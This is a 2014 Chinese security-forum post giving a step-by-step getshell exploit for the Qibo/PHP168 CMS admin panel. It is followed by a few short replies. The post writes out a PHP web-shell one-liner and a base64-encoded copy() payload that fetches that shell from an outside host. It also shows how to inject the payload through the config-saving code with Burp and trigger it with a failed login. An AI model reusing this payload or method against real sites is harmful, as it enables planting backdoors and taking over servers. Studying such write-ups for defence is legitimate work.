查看: 15137|回复: 4

齐博系统全版本后台无限制可getshell

[复制链接]
  • TA的每日心情
    慵懒
    2022-4-16 15:45
  • 签到天数: 247 天

    [LV.8]以坛为家I

    发表于 2014-12-28 10:23:58 | 显示全部楼层 |阅读模式
    齐博全版本无限后台可getshell。
    -------------------------------------------------------------------------------------
    Author:Codier
    From:F4ck

    小菜b一枚,欢迎基友搞基
    ---------------------------------------------------------------------------------------

    0x001
    在文件admin/global.php 有用户登录代码部分如下:

    if($rs==0){
                    login_logs($_POST[loginname],$_POST[loginpwd]);
                    setcookie("Admin",'',0,"/");
                    eval(base64_decode("Y$webdb[_Notice]"));
                    showmsg("<A HREF=?>用户不存在</A>");
            }elseif( $rs==-1 ){
    由此可知 当用户不存在也就是输出错误用户名的时候会触发此代码
    eval(base64_decode("Y$webdb[_Notice]"));

    $webdb[_Notice]此为配置项的参数,对应的配置数据库表为config表
    122646ih4qoqiz0ih1o4pd.jpg
    在此我们调试打印一下 该参数
    122646w8bzlbsds5ruoho5.png
    得到的结果如下:
    copy("http://www.php168.com/Notice/?url=$webdb[www_url]",PHP168_PATH."cache/Notice.php");
    这是官方留下的通知么?可能是原php168的时候留下的吧 呵呵
    试想一下如果
    http://www.php168.com/Notice/?url=$webdb[www_url] 返回一个一句话呢。那么直接在admin/cache/目录下面生成 notice.php 一句话木马。

    问题是此网站不受我们控制,那么我们得想办法在config表中修改配置项从而为我们所用。

    0x002
    接下来我们看一下配置文件的处理文件
    该文件在admin/center.php

    该函数中调用了 write_config_cache($webdbs); 来处理我们POST的内容
    该 $webdbs 是一个数组

    write_config_cache 该函数又回到了 admin/global.php 文件当中

    简要内容如下:

    function write_config_cache($webdbs)
    {
            global $db,$pre;
            if( is_array($webdbs) )
            {
                    foreach($webdbs AS $key=>$value)
                    {
                            
                            if(is_array($value))
                            {
                                    $webdbs[$key]=$value=implode(",",$value);
                            }
                            
                            $SQL2.="'$key',";
                            $SQL.="('$key', '$value', ''),";
                    }
                    $SQL=$SQL.";";
                    $SQL=str_Replace("'),;","')",$SQL);
                   
                    echo " DELETE FROM {$pre}config WHERE c_key IN ($SQL2'') ";
                    echo " INSERT INTO `{$pre}config` VALUES  $SQL ";
                   
                    //exit();
                    $db->query(" DELETE FROM {$pre}config WHERE c_key IN ($SQL2'') ");
                    $db->query(" INSERT INTO `{$pre}config` VALUES  $SQL ");        
            }

    此函数通过遍历 参数 $webdbs (数组),取其键值 然后拼装给$SQL2 变量。
    然后通过
    $db->query(" DELETE FROM {$pre}config WHERE c_key IN ($SQL2'') ");  in对这些key的值删除
    通过
    $SQL.="('$key', '$value', ''),";对需要插入的数据打包处理,然后再通过
    $db->query(" INSERT INTO `{$pre}config` VALUES  $SQL ");        进行插入。

    在此之前全未对,无法配置的_Notice 进行过滤  。接下来就可以直接修改post包 更新其值了
    0x003
    首先我们来构造下
    eval(base64_decode("Y$webdb[_Notice]"));  
    copy("http://www.php168.com/Notice/?url=$webdb[www_url]",PHP168_PATH."cache/Notice.php");

    在得到base64编码之后要去掉前面的Y,这是对函数名做限定么?
    好的,我们就只改下网站就ok了。
    在远程网站上写一个fuck.txt文本写入<?php @eval($_POST['cmd']);?> 一句话
    对应的url为:http://www.a.com/exp/fuck.txt

    然后
    copy("http://www.a.com/exp/fuck.txt",PHP168_PATH."cache/Notice.php");
    再对该 代码进行base64编码得到
    Y29weSgiaHR0cDovL3d3dy5hLmNvbS9leHAvZnVjay50eHQiLFBIUDE2OF9QQVRI LiJjYWNoZS9Ob3RpY2UucGhwIik7
    取Y后面的值 也就是
    29weSgiaHR0cDovL3d3dy5hLmNvbS9leHAvZnVjay50eHQiLFBIUDE2OF9QQVRI LiJjYWNoZS9Ob3RpY2UucGhwIik7
    上神器burpsuite 进行抓包,
    122647lk0hhz0y8o3xckh3.png
    然后加入该参数:

    点击Go提交数据包。
    查看一下数据库中的表:
    122648hd04g6xlxa6l4yty.png
    已经改为我们提交的恶意base64编码了。

    0x004
      现在我们来触发,由前面0x001知道到 当用户不存在也就是输出错误用户名的时候会触发此代码 。我们打开
    http://www.a.com/v7/admin/global.php
    输出不存在用户 ,记得这里要随便输出密码,密码无输出也不会触发。。
    122649s2ihk8t888zd802b.png
    点击登录
    提示用户不存在,然后再cache目录下面 notice.php 一句话已经静静的躺着了
    122650ct5t73za77ruuu6h.png
    122650humdhbzhped65zhp.png
    回复

    使用道具 举报

  • TA的每日心情
    开心
    2015-12-1 11:20
  • 签到天数: 2 天

    [LV.1]初来乍到

    发表于 2014-12-28 15:48:52 | 显示全部楼层
    这代码、这思路。。。
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    擦汗
    2017-6-6 13:33
  • 签到天数: 53 天

    [LV.5]常住居民I

    发表于 2014-12-28 21:15:26 | 显示全部楼层
    这个利用环境是不用登陆后台?还是登陆后台后尝试上传抓包,修改数据包,然后退出再登陆一次错误的账号密码么?不解
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    2016-12-1 15:16
  • 签到天数: 217 天

    [LV.7]常住居民III

    发表于 2014-12-31 20:49:39 | 显示全部楼层
    新手来看下!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2016-1-12 22:14
  • 签到天数: 7 天

    [LV.3]偶尔看看II

    发表于 2014-12-31 21:45:24 | 显示全部楼层
    新手来看下!
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-12-23 05:40 , Processed in 0.020078 second(s), 13 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部